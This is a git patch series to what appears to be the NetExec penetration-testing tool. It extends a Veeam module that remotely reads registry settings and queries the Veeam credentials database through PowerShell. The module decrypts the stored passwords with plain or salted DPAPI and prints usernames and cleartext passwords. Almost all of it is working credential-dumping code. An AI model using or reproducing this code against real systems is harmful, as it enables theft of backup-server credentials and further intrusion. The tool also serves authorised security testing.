From 18f7033acd27e79cabaf80656b77484317402472 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 13:06:37 -0500 Subject: [PATCH 1/4] Add salted dpapi decryption for latest veeam installations --- .../veeam_dump_module/veeam_dump_mssql.ps1 | 32 +++++++++++++++-- .../veeam_dump_postgresql.ps1 | 36 ++++++++++++++++--- nxc/modules/veeam.py | 29 +++++++++++---- 3 files changed, 82 insertions(+), 15 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 3d14ccc52..6701e403b 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -1,6 +1,7 @@ $SqlDatabaseName = "REPLACE_ME_SqlDatabase" $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" +$b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string $SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords @@ -29,12 +30,37 @@ if ($rows.count -eq 0) { } Add-Type -assembly System.Security -#Decrypting passwords using DPAPI +# Decrypting passwords using DPAPI $rows | ForEach-Object -Process { $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) + foreach ($byte in $EnryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.password = $pw_string } Write-Output $rows | Format-Table -HideTableHeaders | Out-String diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 16ad63f31..695836aae 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -1,8 +1,9 @@ $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" +$b64Salt = "REPLACE_ME_b64Salt" -$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" +$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';" $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv if ($output.count -eq 0) { @@ -10,13 +11,38 @@ if ($output.count -eq 0) { exit } +# Decrypting passwords using DPAPI Add-Type -assembly System.Security -#Decrypting passwords using DPAPI $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $EnryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) + foreach ($byte in $EnryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.password = $pw_string } Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index cd2fc0cb1..6f61071a8 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -40,6 +40,9 @@ def checkVeeamInstalled(self, context, connection): PostgresUserForWindowsAuth = "" SqlDatabaseName = "" + # Salt for newer Veeam versions + salt = "" + try: remoteOps = RemoteOperations(connection.conn, False) remoteOps.enableRegistry() @@ -72,6 +75,8 @@ def checkVeeamInstalled(self, context, connection): SqlDatabase = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlDatabaseName")[1].split("\x00")[:-1][0] SqlInstance = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlInstanceName")[1].split("\x00")[:-1][0] SqlServer = rrp.hBaseRegQueryValue(remoteOps._RemoteOperations__rrp, keyHandle, "SqlServerName")[1].split("\x00")[:-1][0] + + salt = self.get_salt(context, remoteOps, regHandle) except DCERPCException as e: if str(e).find("ERROR_FILE_NOT_FOUND"): context.log.debug("No Veeam v12 installation found") @@ -107,28 +112,38 @@ def checkVeeamInstalled(self, context, connection): # Check if we found an SQL Server of some kind if SqlDatabase and SqlInstance and SqlServer: context.log.success(f'Found Veeam DB "{SqlDatabase}" on SQL Server "{SqlServer}\\{SqlInstance}"! Extracting stored credentials...') - credentials = self.executePsMssql(context, connection, SqlDatabase, SqlInstance, SqlServer) + credentials = self.executePsMssql(connection, SqlDatabase, SqlInstance, SqlServer, salt) self.printCreds(context, credentials) elif PostgreSqlExec and PostgresUserForWindowsAuth and SqlDatabaseName: context.log.success(f'Found Veeam DB "{SqlDatabaseName}" on an PostgreSQL Instance! Extracting stored credentials...') - credentials = self.executePsPostgreSql(context, connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName) + credentials = self.executePsPostgreSql(connection, PostgreSqlExec, PostgresUserForWindowsAuth, SqlDatabaseName, salt) self.printCreds(context, credentials) - def stripXmlOutput(self, context, output): - return output.split("CLIXML")[1].split(" Date: Wed, 19 Feb 2025 13:06:59 -0500 Subject: [PATCH 2/4] Correct spelling --- nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 | 14 +++++++------- .../veeam_dump_module/veeam_dump_postgresql.ps1 | 14 +++++++------- 2 files changed, 14 insertions(+), 14 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 6701e403b..b0f1fca4c 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -32,29 +32,29 @@ if ($rows.count -eq 0) { Add-Type -assembly System.Security # Decrypting passwords using DPAPI $rows | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default try { # Decrypt password with DPAPI (old Veeam versions) - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' } catch { try{ # Decrypt password with salted DPAPI (new Veeam versions) $salt = [System.Convert]::FromBase64String($b64Salt) - $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) - foreach ($byte in $EnryptedPWD) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) { $hex.AppendFormat("{0:x2}", $byte) > $null } $hex = $hex.ToString().Substring(74,$hex.Length-74) - $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) for ($i = 0; $i -lt $hex.Length; $i += 2) { - $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' }catch { $pw_string = "COULD_NOT_DECRYPT" diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 695836aae..d4b6e27d7 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -14,29 +14,29 @@ if ($output.count -eq 0) { # Decrypting passwords using DPAPI Add-Type -assembly System.Security $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default try { # Decrypt password with DPAPI (old Veeam versions) - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' } catch { try{ # Decrypt password with salted DPAPI (new Veeam versions) $salt = [System.Convert]::FromBase64String($b64Salt) - $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EnryptedPWD.Length * 2) - foreach ($byte in $EnryptedPWD) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) { $hex.AppendFormat("{0:x2}", $byte) > $null } $hex = $hex.ToString().Substring(74,$hex.Length-74) - $EnryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) for ($i = 0; $i -lt $hex.Length; $i += 2) { - $EnryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) } - $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EnryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' }catch { $pw_string = "COULD_NOT_DECRYPT" From 3235b1d9df4e4d1e7c5f00f0129d19857c1dc9ef Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 13:53:24 -0500 Subject: [PATCH 3/4] Add description to output --- .../veeam_dump_module/veeam_dump_mssql.ps1 | 4 +++- .../veeam_dump_postgresql.ps1 | 4 +++- nxc/modules/veeam.py | 18 ++++++++++++------ 3 files changed, 18 insertions(+), 8 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index b0f1fca4c..c0df4c25d 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -60,7 +60,9 @@ $rows | ForEach-Object -Process { $pw_string = "COULD_NOT_DECRYPT" } } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $rows | Format-Table -HideTableHeaders | Out-String +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index d4b6e27d7..cb1988268 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -42,7 +42,9 @@ $output | ForEach-Object -Process { $pw_string = "COULD_NOT_DECRYPT" } } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 \ No newline at end of file diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index 6f61071a8..63e1ea876 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -167,13 +167,19 @@ def printCreds(self, context, output): # When powershell returns something else than the usernames and passwords account.split() will throw a ValueError. # This is likely an error thrown by powershell, so we print the error and the output for debugging purposes. try: + context.log.highlight(f"{'Username':<30} {'Password':<30} {'Description'}") + context.log.highlight(f"{'--------':<30} {'--------':<30} {'-----------'}") for account in output_stripped: - user, password = account.split(" ", 1) - password = password.strip().replace("WHITESPACE_ERROR", " ") - user = user.strip() - context.log.highlight(f"{user}:{password}") - if " " in password: - context.log.fail(f'Password contains whitespaces! The password for user "{user}" is: "{password}"') + # Remove multiple whitespaces + account = " ".join(account.split()) + try: + user, password, description = account.split(" ", 2) + except ValueError: + user, password = account.split(" ", 1) + user = user.strip().replace("WHITESPACE_ERROR", " ").strip() + password = password.strip().replace("WHITESPACE_ERROR", " ").strip() + description = description.strip().replace("WHITESPACE_ERROR", " ").strip() + context.log.highlight(f"{user:<30} {password:<30} {description}") except ValueError: context.log.fail(f"Powershell returned unexpected output: {output_stripped}") context.log.fail("Please report this issue on GitHub!") From 342a13021b0fcb61fae6bc32ae2f1e14b559f076 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Wed, 19 Feb 2025 14:38:13 -0500 Subject: [PATCH 4/4] Bug fixes and output formating --- nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 | 8 ++++---- nxc/modules/veeam.py | 7 ++++--- 2 files changed, 8 insertions(+), 7 deletions(-) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index c0df4c25d..ad3f2ddd3 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -4,7 +4,7 @@ $SqlInstanceName = "REPLACE_ME_SqlInstance" $b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string -$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords +$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString @@ -23,15 +23,15 @@ catch { exit -1 } -$rows=($dataset.Tables | Select-Object -Expand Rows) -if ($rows.count -eq 0) { +$output=($dataset.Tables | Select-Object -Expand Rows) +if ($output.count -eq 0) { Write-Host "No passwords found!" exit } Add-Type -assembly System.Security # Decrypting passwords using DPAPI -$rows | ForEach-Object -Process { +$output | ForEach-Object -Process { $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default diff --git a/nxc/modules/veeam.py b/nxc/modules/veeam.py index 63e1ea876..d16491248 100644 --- a/nxc/modules/veeam.py +++ b/nxc/modules/veeam.py @@ -167,8 +167,8 @@ def printCreds(self, context, output): # When powershell returns something else than the usernames and passwords account.split() will throw a ValueError. # This is likely an error thrown by powershell, so we print the error and the output for debugging purposes. try: - context.log.highlight(f"{'Username':<30} {'Password':<30} {'Description'}") - context.log.highlight(f"{'--------':<30} {'--------':<30} {'-----------'}") + context.log.highlight(f"{'Username':<40} {'Password':<40} {'Description'}") + context.log.highlight(f"{'--------':<40} {'--------':<40} {'-----------'}") for account in output_stripped: # Remove multiple whitespaces account = " ".join(account.split()) @@ -176,10 +176,11 @@ def printCreds(self, context, output): user, password, description = account.split(" ", 2) except ValueError: user, password = account.split(" ", 1) + description = "" user = user.strip().replace("WHITESPACE_ERROR", " ").strip() password = password.strip().replace("WHITESPACE_ERROR", " ").strip() description = description.strip().replace("WHITESPACE_ERROR", " ").strip() - context.log.highlight(f"{user:<30} {password:<30} {description}") + context.log.highlight(f"{user:<40} {password:<40} {description}") except ValueError: context.log.fail(f"Powershell returned unexpected output: {output_stripped}") context.log.fail("Please report this issue on GitHub!")